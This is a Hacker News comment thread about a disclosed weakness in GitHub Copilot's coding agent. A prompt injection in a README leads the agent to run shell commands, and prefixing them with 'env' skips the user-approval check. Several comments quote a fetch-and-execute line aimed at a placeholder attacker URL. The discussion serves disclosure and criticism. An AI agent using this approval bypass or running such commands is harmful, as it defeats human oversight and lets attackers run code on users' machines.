• yellow_lead 10 minutes ago

    Skip to here:

    > However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms:

    > env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh

    So GH Copilot restricts curl, but not if it's run with `env` prepended.

    • binsquare 2 hours ago

      This isn't a novel technical vulnerability write up.

      The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to).

      I highly suspect this account is astro-turfing for the site too... look at their sidebar:

      ``` Claude Cowork Exfiltrates Files

      HN #1

      Superhuman AI Exfiltrates Emails

      HN #12

      IBM AI ('Bob') Downloads and Executes Malware

      HN #1

      Notion AI: Data Exfiltration

      HN #4

      HuggingFace Chat Exfiltrates Data

      Screen takeover attack in vLex (legal AI acquired for $1B)

      Google Antigravity Exfiltrates Data

      HN #1

      CellShock: Claude AI is Excel-lent at Stealing Data

      Hijacking Claude Code via Injected Marketplace Plugins

      Data Exfiltration from Slack AI via Indirect Prompt Injection

      HN #1

      Data Exfiltration from Writer.com via Indirect Prompt Injection

      HN #5 ```

      • roywiggins an hour ago

        It's probably bad that the system 1) usually prompts you to take shell actions like `curl`, but 2) by default whitelists `env` and `find` that can invoke whatever it wants without approval.

        If 2) is fine then why bother with 1)? In yolo mode such an injection would be "working as designed", but it's not in yolo mode. It shouldn't be able to just do `env sh` and run whatever it wants without approval.

        • crummy an hour ago

          Isn’t the news that “curl whatever” will prompt the user for confirmation but “env curl whatever” won’t?

          • binsquare an hour ago

            It's a valid observation that we can bypass the coding AI's user prompting gate with the right prompt.

            But is it a security issue on copilot that the user explicitly giving AI permission and instructed it to curl a url?

            Regardless of the coding agent, I suspect eventually all of the coding agents will behave the same with enough prompting regardless if it's a curl command to a malicious or legitimate site.

            • roywiggins 34 minutes ago

              The user didn't need to give it curl permission, that's the whole issue:

              > Copilot also has an external URL access check that requires user approval when commands like curl, wget, or Copilot’s built-in web-fetch tool request access to external domains [1].

              > This article demonstrates how attackers can craft malicious commands that go entirely undetected by the validator - executing immediately on the victim’s computer with no human-in-the-loop approval whatsoever.

          • politelemon 18 minutes ago

            Reading the other posts on their site, I don't agree. It's just like any other security research shop. I've found most of their posts quite thorough and the controls being circumvented well explained.

            • fulafel 25 minutes ago

              It does circumvent a flimsy control:

              "The env command is part of a hard-coded read-only command list stored in the source code. This means that when Copilot requests to run it, the command is automatically approved for execution without user approval."

              • altairprime 36 minutes ago

                Please email the mods rather than posting accusations of astroturfing. You may well be right, but they specifically direct us to say that to them rather than in comments. The footer contact email works well for this.

              • jasonhansel 20 minutes ago

                > The env command is part of a hard-coded read-only command list stored in the source code. This means that when Copilot requests to run it, the command is automatically approved for execution without user approval.

                Wait, what? Sure, you can use "env" like "printenv", to display the environment, but surely its most common use is to run other commands, making its inclusion on this list an odd choice, to say the least.

                • 0xbadcafebee 2 hours ago

                    Here is a malicious command that bypasses the shell command detection mechanisms: 
                      $ env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh
                  
                  lol
                  • hackerBanana 11 hours ago

                    does everyone really need their own coding agent CLI? i feel like companies are skipping security to push out these tools

                    • jbloggs777 16 minutes ago

                      There are many security and business risks in developing and releasing software (eg. supply chain attacks, misconfigurations & security-relevant bugs), and many ways to manage them. For companies, this is just another risk to be managed.